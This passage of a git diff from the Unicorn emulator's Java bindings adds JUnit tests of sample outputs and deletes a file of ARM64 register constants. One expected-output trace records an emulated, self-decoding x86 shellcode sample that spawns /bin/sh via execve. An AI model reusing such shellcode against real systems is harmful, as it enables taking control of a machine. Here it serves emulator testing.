\n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x100000d, instruction size = 0x4\n" + + "*** EIP = 100000d ***: 66 5 3 3 \n" + + "Tracing instruction at 0x1000011, instruction size = 0x2\n" + + "*** EIP = 1000011 ***: 89 2 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x1000005, instruction size = 0x2\n" + + "*** EIP = 1000005 ***: 8b 2 \n" + + "Tracing instruction at 0x1000007, instruction size = 0x4\n" + + "*** EIP = 1000007 ***: 66 3d ca 7d \n" + + "Tracing instruction at 0x100000b, instruction size = 0x2\n" + + "*** EIP = 100000b ***: 75 6 \n" + + "Tracing instruction at 0x1000013, instruction size = 0x2\n" + + "*** EIP = 1000013 ***: fe c2 \n" + + "Tracing instruction at 0x1000015, instruction size = 0x5\n" + + "*** EIP = 1000015 ***: 3d 41 41 41 41 \n" + + "Tracing instruction at 0x100001a, instruction size = 0x2\n" + + "*** EIP = 100001a ***: 75 e9 \n" + + "Tracing instruction at 0x100001c, instruction size = 0x2\n" + + "*** EIP = 100001c ***: ff e6 \n" + + "Tracing instruction at 0x1000023, instruction size = 0x2\n" + + "*** EIP = 1000023 ***: 31 d2 \n" + + "Tracing instruction at 0x1000025, instruction size = 0x2\n" + + "*** EIP = 1000025 ***: 6a b \n" + + "Tracing instruction at 0x1000027, instruction size = 0x1\n" + + "*** EIP = 1000027 ***: 58 \n" + + "Tracing instruction at 0x1000028, instruction size = 0x1\n" + + "*** EIP = 1000028 ***: 99 \n" + + "Tracing instruction at 0x1000029, instruction size = 0x1\n" + + "*** EIP = 1000029 ***: 52 \n" + + "Tracing instruction at 0x100002a, instruction size = 0x5\n" + + "*** EIP = 100002a ***: 68 2f 2f 73 68 \n" + + "Tracing instruction at 0x100002f, instruction size = 0x5\n" + + "*** EIP = 100002f ***: 68 2f 62 69 6e \n" + + "Tracing instruction at 0x1000034, instruction size = 0x2\n" + + "*** EIP = 1000034 ***: 89 e3 \n" + + "Tracing instruction at 0x1000036, instruction size = 0x1\n" + + "*** EIP = 1000036 ***: 52 \n" + + "Tracing instruction at 0x1000037, instruction size = 0x1\n" + + "*** EIP = 1000037 ***: 53 \n" + + "Tracing instruction at 0x1000038, instruction size = 0x2\n" + + "*** EIP = 1000038 ***: 89 e1 \n" + + "Tracing instruction at 0x100003a, instruction size = 0x2\n" + + "*** EIP = 100003a ***: cd 80 \n" + + ">>> 0x100003c: interrupt 0x80, EAX = 0xb\n" + + "Tracing instruction at 0x100003c, instruction size = 0x1\n" + + "*** EIP = 100003c ***: 41 \n" + + "Tracing instruction at 0x100003d, instruction size = 0x1\n" + + "*** EIP = 100003d ***: 41 \n" + + "Tracing instruction at 0x100003e, instruction size = 0x1\n" + + "*** EIP = 100003e ***: 41 \n" + + "Tracing instruction at 0x100003f, instruction size = 0x1\n" + + "*** EIP = 100003f ***: 41 \n" + + "Tracing instruction at 0x1000040, instruction size = 0x1\n" + + "*** EIP = 1000040 ***: 41 \n" + + "Tracing instruction at 0x1000041, instruction size = 0x1\n" + + "*** EIP = 1000041 ***: 41 \n" + + "Tracing instruction at 0x1000042, instruction size = 0x1\n" + + "*** EIP = 1000042 ***: 41 \n" + + "Tracing instruction at 0x1000043, instruction size = 0x1\n" + + "*** EIP = 1000043 ***: 41 \n" + + "\n" + + ">>> Emulation done.\n", + outContent.toString()); + } + + @Test + public void testSparc() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_SPARC)); + samples.Sample_sparc.test_sparc(); + assertEquals( + "Emulate SPARC code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x4\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> G3 = 0x79b9\n", + outContent.toString()); + } + + @Test + public void testTricore() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_TRICORE)); + samples.Sample_tricore.test_tricore(); + assertEquals( + "Emulate TriCore code\n" + + ">>> Tracing basic block at 0x10000, block size = 0x6\n" + + ">>> Tracing instruction at 0x10000, instruction size = 0x2\n" + + ">>> Tracing instruction at 0x10002, instruction size = 0x4\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> d0 = 0x8000\n" + + ">>> d1 = 0x1\n", + outContent.toString()); + } + + @Test + public void testX86_16() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_x86_16(); + assertEquals( + "Emulate x86 16-bit code\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> Read 1 bytes from [0xb] = 0x7\n", + outContent.toString()); + } + + @Test + public void testX86MissCode() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_miss_code(); + assertEquals( + "Emulate i386 code - missing code\n" + + ">>> Allocating block at 0x1000000 (0x1000000), block size = 0x1 (0x1000)\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000001, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x6\n" + + ">>> Tracing instruction at 0x1000002, instruction size = 0x4\n" + + ">>> --- EFLAGS is 0x12\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1235\n" + + ">>> EDX = 0x788f\n", + outContent.toString()); + } + + @Test + public void testX86() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386(); + assertEquals( + "Emulate i386 code\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x6\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000001, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x6\n" + + ">>> Tracing instruction at 0x1000002, instruction size = 0x4\n" + + ">>> --- EFLAGS is 0x12\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1235\n" + + ">>> EDX = 0x788f\n" + + ">>> XMM0 = 0x00112233445566778899aabbccddeeff\n" + + ">>> Read 4 bytes from [0x1000000] = 0xf664a41\n", + outContent.toString()); + } + + @Test + public void testX86MapPtr() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_map_ptr(); + assertEquals( + "Emulate i386 code - use uc_mem_map_ptr()\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x6\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000001, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x6\n" + + ">>> Tracing instruction at 0x1000002, instruction size = 0x4\n" + + ">>> --- EFLAGS is 0x12\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1235\n" + + ">>> EDX = 0x788f\n" + + ">>> Read 4 bytes from [0x1000000] = 0xf664a41\n", + outContent.toString()); + } + + @Test + public void testX86InOut() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_inout(); + assertEquals( + "Emulate i386 code with IN/OUT instructions\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x7\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000001, instruction size = 0x2\n" + + ">>> --- EFLAGS is 0x2\n" + + "--- reading from port 0x3f, size: 1, address: 0x1000001\n" + + ">>> Tracing instruction at 0x1000003, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000004, instruction size = 0x2\n" + + ">>> --- EFLAGS is 0x96\n" + + "--- writing to port 0x46, size: 1, value: 0xf1, address: 0x1000004\n" + + "--- register value = 0xf1\n" + + ">>> Tracing instruction at 0x1000006, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x96\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> EAX = 0x12f1\n" + + ">>> ECX = 0x678a\n", + outContent.toString()); + } + + @Test + public void testX86ContextSave() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_context_save(); + assertEquals( + "Save/restore CPU context in opaque blob\n" + + ">>> Running emulation for the first time\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> EAX = 0x2\n" + + ">>> Saving CPU context\n" + + ">>> Running emulation for the second time\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> EAX = 0x3\n" + + ">>> CPU context restored. Below is the CPU context\n" + + ">>> EAX = 0x2\n" + + ">>> CPU context restored with modification. Below is the CPU context\n" + + ">>> EAX = 0xc8\n", + outContent.toString()); + } + + @Test + public void testX86Jump() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_jump(); + assertEquals( + "Emulate i386 code with jump\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x2\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x2\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Emulation done. Below is the CPU context\n", + outContent.toString()); + } + + @Test + public void testX86Loop() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_loop(); + assertEquals( + "Emulate i386 code that loop forever\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1235\n" + + ">>> EDX = 0x788f\n", + outContent.toString()); + } + + @Test + public void testX86InvalidMemRead() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_invalid_mem_read(); + assertEquals( + "Emulate i386 code that read from invalid memory\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x8\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x6\n" + + ">>> --- EFLAGS is 0x2\n" + + "uc.emu_start failed as expected: " + + "unicorn.UnicornException: Invalid memory read (UC_ERR_READ_UNMAPPED)\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1234\n" + + ">>> EDX = 0x7890\n", + outContent.toString()); + } + + @Test + public void testX86InvalidMemWrite() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_invalid_mem_write(); + assertEquals( + "Emulate i386 code that write to invalid memory\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x8\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x6\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Missing memory is being WRITE at 0xaaaaaaaa, data size = 4, data value = 0x1234\n" + + ">>> Tracing instruction at 0x1000006, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x2\n" + + ">>> Tracing instruction at 0x1000007, instruction size = 0x1\n" + + ">>> --- EFLAGS is 0x6\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1235\n" + + ">>> EDX = 0x788f\n" + + ">>> Read 4 bytes from [0xaaaaaaaa] = 0x1234\n" + + ">>> Failed to read 4 bytes from [0xffffffaa]\n", + outContent.toString()); + } + + @Test + public void testX86JumpInvalid() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_jump_invalid(); + assertEquals( + "Emulate i386 code that jumps to invalid memory\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x5\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x5\n" + + ">>> --- EFLAGS is 0x2\n" + + "uc.emu_start failed as expected: " + + "unicorn.UnicornException: Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> ECX = 0x1234\n" + + ">>> EDX = 0x7890\n", + outContent.toString()); + } + + @Test + public void testX86_64() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_x86_64(); + assertEquals( + "Emulate x86_64 code\n" + + ">>> Tracing basic block at 0x1000000, block size = 0x4b\n" + + ">>> Tracing instruction at 0x1000000, instruction size = 0x6\n" + + ">>> RIP is 0x1000000\n" + + ">>> Tracing instruction at 0x1000006, instruction size = 0x3\n" + + ">>> RIP is 0x1000006\n" + + ">>> Tracing instruction at 0x1000009, instruction size = 0x1\n" + + ">>> RIP is 0x1000009\n" + + ">>> Tracing instruction at 0x100000a, instruction size = 0x4\n" + + ">>> RIP is 0x100000a\n" + + ">>> Tracing instruction at 0x100000e, instruction size = 0x3\n" + + ">>> RIP is 0x100000e\n" + + ">>> Tracing instruction at 0x1000011, instruction size = 0x1\n" + + ">>> RIP is 0x1000011\n" + + ">>> Tracing instruction at 0x1000012, instruction size = 0x7\n" + + ">>> RIP is 0x1000012\n" + + ">>> Memory is being WRITE at 0x11ffff8, data size = 8, data value = 0x3c091e6a\n" + + ">>> Memory is being READ at 0x11ffff8, data size = 8\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> RAX = 0xdb8ee18208cd6d03\n" + + ">>> RBX = 0xd87b45277f133ddb\n" + + ">>> RCX = 0x3c091e6a\n" + + ">>> RDX = 0x25b8d5a4dbb38112\n" + + ">>> RSI = 0xb3db18ac5e815ca7\n" + + ">>> RDI = 0x48288ca5671c5492\n" + + ">>> R8 = 0xec45774f00c5f682\n" + + ">>> R9 = 0xc118b68e7fcfeeff\n" + + ">>> R10 = 0x596b8d4f\n" + + ">>> R11 = 0xe17e9dbec8c074aa\n" + + ">>> R12 = 0x595f72f6b9d8cf32\n" + + ">>> R13 = 0xea5b108cc2b9ab1f\n" + + ">>> R14 = 0x595f72f6e4017f6e\n" + + ">>> R15 = 0x3e04f60c8f7ecbd7\n", + outContent.toString()); + } + + @Test + public void testX86_64Syscall() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_x86_64_syscall(); + assertEquals( + "Emulate x86_64 code with 'syscall' instruction\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> RAX = 0x200\n", + outContent.toString()); + } + + @Test + public void testX86InvalidMemReadInTb() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_invalid_mem_read_in_tb(); + assertEquals( + "Emulate i386 code that read invalid memory in the middle of a TB\n" + + "uc.emu_start() failed BY DESIGN with error returned: " + + "unicorn.UnicornException: Invalid memory read (UC_ERR_READ_UNMAPPED)\n" + + ">>> Emulation done. Below is the CPU context\n" + + ">>> EIP = 0x1000001\n" + + ">>> The PC is correct after reading unmapped memory in the middle of TB.\n", + outContent.toString()); + } + + @Test + public void testX86SmcXor() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_smc_xor(); + assertEquals( + "Emulate i386 code that modfies itself\n" + + ">>> Emulation done. Below is the result.\n" + + ">>> SMC emulation is correct. 0x3ea98b13 ^ 0xbc4177e6 = 0x82e8fcf5\n", + outContent.toString()); + } + + @Test + public void testX86Mmio() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_mmio(); + assertEquals( + "Emulate i386 code that uses MMIO\n" + + ">>> Write value 0x3735928559 to IO memory at offset 0x4 with 0x4 bytes\n" + + ">>> Read IO memory at offset 0x4 with 0x4 bytes and return 0x19260817\n" + + ">>> Emulation done. ECX=0x19260817\n", + outContent.toString()); + } + + @Test + public void testX86HookMemInvalid() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86.test_i386_hook_mem_invalid(); + assertEquals( + "Emulate i386 code that triggers invalid memory read/write.\n" + + ">>> We have to add a map at 0x8000 before continue execution!\n" + + ">>> We have to add a map at 0x10000 before continue execution!\n", + outContent.toString()); + } + + @Test + public void testX86Mmr() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86_mmr.test_x86_mmr(); + assertEquals( + "Test x86 MMR read/write\n" + + ">>> EAX = 0xdddddddd\n" + + ">>> LDTR.base = 0x22222222\n" + + ">>> LDTR.limit = 0x33333333\n" + + ">>> LDTR.flags = 0x44444444\n" + + ">>> LDTR.selector = 0x5555\n" + + "\n" + + ">>> GDTR.base = 0x77777777\n" + + ">>> GDTR.limit = 0x8888\n", + outContent.toString()); + } + + @Test + public void testX86Gdt() { + assumeTrue(Unicorn.arch_supported(UC_ARCH_X86)); + samples.Sample_x86_mmr.gdt_demo(); + assertEquals( + "Demonstrate GDT usage\n" + + "Executing at 0x1000000, ilen = 0x5\n" + + "mem write at 0x120ffc, size = 4, value = 0x1234567\n" + + "Executing at 0x1000005, ilen = 0x5\n" + + "mem write at 0x120ff8, size = 4, value = 0x89abcdef\n" + + "Executing at 0x100000a, ilen = 0xb\n" + + "mem write at 0x7efdd000, size = 4, value = 0x1234567\n" + + "Executing at 0x1000015, ilen = 0xb\n" + + "mem write at 0x7efdd004, size = 4, value = 0x89abcdef\n" + + "efcdab8967452301\n", + outContent.toString()); + } + +} diff --git a/bindings/java/unicorn/Arm64Const.java b/bindings/java/unicorn/Arm64Const.java deleted file mode 100644 index bb1960370f..0000000000 --- a/bindings/java/unicorn/Arm64Const.java +++ /dev/null @@ -1,339 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface Arm64Const { - -// ARM64 CPU - - public static final int UC_CPU_ARM64_A57 = 0; - public static final int UC_CPU_ARM64_A53 = 1; - public static final int UC_CPU_ARM64_A72 = 2; - public static final int UC_CPU_ARM64_MAX = 3; - public static final int UC_CPU_ARM64_ENDING = 4; - -// ARM64 registers - - public static final int UC_ARM64_REG_INVALID = 0; - public static final int UC_ARM64_REG_X29 = 1; - public static final int UC_ARM64_REG_X30 = 2; - public static final int UC_ARM64_REG_NZCV = 3; - public static final int UC_ARM64_REG_SP = 4; - public static final int UC_ARM64_REG_WSP = 5; - public static final int UC_ARM64_REG_WZR = 6; - public static final int UC_ARM64_REG_XZR = 7; - public static final int UC_ARM64_REG_B0 = 8; - public static final int UC_ARM64_REG_B1 = 9; - public static final int UC_ARM64_REG_B2 = 10; - public static final int UC_ARM64_REG_B3 = 11; - public static final int UC_ARM64_REG_B4 = 12; - public static final int UC_ARM64_REG_B5 = 13; - public static final int UC_ARM64_REG_B6 = 14; - public static final int UC_ARM64_REG_B7 = 15; - public static final int UC_ARM64_REG_B8 = 16; - public static final int UC_ARM64_REG_B9 = 17; - public static final int UC_ARM64_REG_B10 = 18; - public static final int UC_ARM64_REG_B11 = 19; - public static final int UC_ARM64_REG_B12 = 20; - public static final int UC_ARM64_REG_B13 = 21; - public static final int UC_ARM64_REG_B14 = 22; - public static final int UC_ARM64_REG_B15 = 23; - public static final int UC_ARM64_REG_B16 = 24; - public static final int UC_ARM64_REG_B17 = 25; - public static final int UC_ARM64_REG_B18 = 26; - public static final int UC_ARM64_REG_B19 = 27; - public static final int UC_ARM64_REG_B20 = 28; - public static final int UC_ARM64_REG_B21 = 29; - public static final int UC_ARM64_REG_B22 = 30; - public static final int UC_ARM64_REG_B23 = 31; - public static final int UC_ARM64_REG_B24 = 32; - public static final int UC_ARM64_REG_B25 = 33; - public static final int UC_ARM64_REG_B26 = 34; - public static final int UC_ARM64_REG_B27 = 35; - public static final int UC_ARM64_REG_B28 = 36; - public static final int UC_ARM64_REG_B29 = 37; - public static final int UC_ARM64_REG_B30 = 38; - public static final int UC_ARM64_REG_B31 = 39; - public static final int UC_ARM64_REG_D0 = 40; - public static final int UC_ARM64_REG_D1 = 41; - public static final int UC_ARM64_REG_D2 = 42; - public static final int UC_ARM64_REG_D3 = 43; - public static final int UC_ARM64_REG_D4 = 44; - public static final int UC_ARM64_REG_D5 = 45; - public static final int UC_ARM64_REG_D6 = 46; - public static final int UC_ARM64_REG_D7 = 47; - public static final int UC_ARM64_REG_D8 = 48; - public static final int UC_ARM64_REG_D9 = 49; - public static final int UC_ARM64_REG_D10 = 50; - public static final int UC_ARM64_REG_D11 = 51; - public static final int UC_ARM64_REG_D12 = 52; - public static final int UC_ARM64_REG_D13 = 53; - public static final int UC_ARM64_REG_D14 = 54; - public static final int UC_ARM64_REG_D15 = 55; - public static final int UC_ARM64_REG_D16 = 56; - public static final int UC_ARM64_REG_D17 = 57; - public static final int UC_ARM64_REG_D18 = 58; - public static final int UC_ARM64_REG_D19 = 59; - public static final int UC_ARM64_REG_D20 = 60; - public static final int UC_ARM64_REG_D21 = 61; - public static final int UC_ARM64_REG_D22 = 62; - public static final int UC_ARM64_REG_D23 = 63; - public static final int UC_ARM64_REG_D24 = 64; - public static final int UC_ARM64_REG_D25 = 65; - public static final int UC_ARM64_REG_D26 = 66; - public static final int UC_ARM64_REG_D27 = 67; - public static final int UC_ARM64_REG_D28 = 68; - public static final int UC_ARM64_REG_D29 = 69; - public static final int UC_ARM64_REG_D30 = 70; - public static final int UC_ARM64_REG_D31 = 71; - public static final int UC_ARM64_REG_H0 = 72; - public static final int UC_ARM64_REG_H1 = 73; - public static final int UC_ARM64_REG_H2 = 74; - public static final int UC_ARM64_REG_H3 = 75; - public static final int UC_ARM64_REG_H4 = 76; - public static final int UC_ARM64_REG_H5 = 77; - public static final int UC_ARM64_REG_H6 = 78; - public static final int UC_ARM64_REG_H7 = 79; - public static final int UC_ARM64_REG_H8 = 80; - public static final int UC_ARM64_REG_H9 = 81; - public static final int UC_ARM64_REG_H10 = 82; - public static final int UC_ARM64_REG_H11 = 83; - public static final int UC_ARM64_REG_H12 = 84; - public static final int UC_ARM64_REG_H13 = 85; - public static final int UC_ARM64_REG_H14 = 86; - public static final int UC_ARM64_REG_H15 = 87; - public static final int UC_ARM64_REG_H16 = 88; - public static final int UC_ARM64_REG_H17 = 89; - public static final int UC_ARM64_REG_H18 = 90; - public static final int UC_ARM64_REG_H19 = 91; - public static final int UC_ARM64_REG_H20 = 92; - public static final int UC_ARM64_REG_H21 = 93; - public static final int UC_ARM64_REG_H22 = 94; - public static final int UC_ARM64_REG_H23 = 95; - public static final int UC_ARM64_REG_H24 = 96; - public static final int UC_ARM64_REG_H25 = 97; - public static final int UC_ARM64_REG_H26 = 98; - public static final int UC_ARM64_REG_H27 = 99; - public static final int UC_ARM64_REG_H28 = 100; - public static final int UC_ARM64_REG_H29 = 101; - public static final int UC_ARM64_REG_H30 = 102; - public static final int UC_ARM64_REG_H31 = 103; - public static final int UC_ARM64_REG_Q0 = 104; - public static final int UC_ARM64_REG_Q1 = 105; - public static final int UC_ARM64_REG_Q2 = 106; - public static final int UC_ARM64_REG_Q3 = 107; - public static final int UC_ARM64_REG_Q4 = 108; - public static final int UC_ARM64_REG_Q5 = 109; - public static final int UC_ARM64_REG_Q6 = 110; - public static final int UC_ARM64_REG_Q7 = 111; - public static final int UC_ARM64_REG_Q8 = 112; - public static final int UC_ARM64_REG_Q9 = 113; - public static final int UC_ARM64_REG_Q10 = 114; - public static final int UC_ARM64_REG_Q11 = 115; - public static final int UC_ARM64_REG_Q12 = 116; - public static final int UC_ARM64_REG_Q13 = 117; - public static final int UC_ARM64_REG_Q14 = 118; - public static final int UC_ARM64_REG_Q15 = 119; - public static final int UC_ARM64_REG_Q16 = 120; - public static final int UC_ARM64_REG_Q17 = 121; - public static final int UC_ARM64_REG_Q18 = 122; - public static final int UC_ARM64_REG_Q19 = 123; - public static final int UC_ARM64_REG_Q20 = 124; - public static final int UC_ARM64_REG_Q21 = 125; - public static final int UC_ARM64_REG_Q22 = 126; - public static final int UC_ARM64_REG_Q23 = 127; - public static final int UC_ARM64_REG_Q24 = 128; - public static final int UC_ARM64_REG_Q25 = 129; - public static final int UC_ARM64_REG_Q26 = 130; - public static final int UC_ARM64_REG_Q27 = 131; - public static final int UC_ARM64_REG_Q28 = 132; - public static final int UC_ARM64_REG_Q29 = 133; - public static final int UC_ARM64_REG_Q30 = 134; - public static final int UC_ARM64_REG_Q31 = 135; - public static final int UC_ARM64_REG_S0 = 136; - public static final int UC_ARM64_REG_S1 = 137; - public static final int UC_ARM64_REG_S2 = 138; - public static final int UC_ARM64_REG_S3 = 139; - public static final int UC_ARM64_REG_S4 = 140; - public static final int UC_ARM64_REG_S5 = 141; - public static final int UC_ARM64_REG_S6 = 142; - public static final int UC_ARM64_REG_S7 = 143; - public static final int UC_ARM64_REG_S8 = 144; - public static final int UC_ARM64_REG_S9 = 145; - public static final int UC_ARM64_REG_S10 = 146; - public static final int UC_ARM64_REG_S11 = 147; - public static final int UC_ARM64_REG_S12 = 148; - public static final int UC_ARM64_REG_S13 = 149; - public static final int UC_ARM64_REG_S14 = 150; - public static final int UC_ARM64_REG_S15 = 151; - public static final int UC_ARM64_REG_S16 = 152; - public static final int UC_ARM64_REG_S17 = 153; - public static final int UC_ARM64_REG_S18 = 154; - public static final int UC_ARM64_REG_S19 = 155; - public static final int UC_ARM64_REG_S20 = 156; - public static final int UC_ARM64_REG_S21 = 157; - public static final int UC_ARM64_REG_S22 = 158; - public static final int UC_ARM64_REG_S23 = 159; - public static final int UC_ARM64_REG_S24 = 160; - public static final int UC_ARM64_REG_S25 = 161; - public static final int UC_ARM64_REG_S26 = 162; - public static final int UC_ARM64_REG_S27 = 163; - public static final int UC_ARM64_REG_S28 = 164; - public static final int UC_ARM64_REG_S29 = 165; - public static final int UC_ARM64_REG_S30 = 166; - public static final int UC_ARM64_REG_S31 = 167; - public static final int UC_ARM64_REG_W0 = 168; - public static final int UC_ARM64_REG_W1 = 169; - public static final int UC_ARM64_REG_W2 = 170; - public static final int UC_ARM64_REG_W3 = 171; - public static final int UC_ARM64_REG_W4 = 172; - public static final int UC_ARM64_REG_W5 = 173; - public static final int UC_ARM64_REG_W6 = 174; - public static final int UC_ARM64_REG_W7 = 175; - public static final int UC_ARM64_REG_W8 = 176; - public static final int UC_ARM64_REG_W9 = 177; - public static final int UC_ARM64_REG_W10 = 178; - public static final int UC_ARM64_REG_W11 = 179; - public 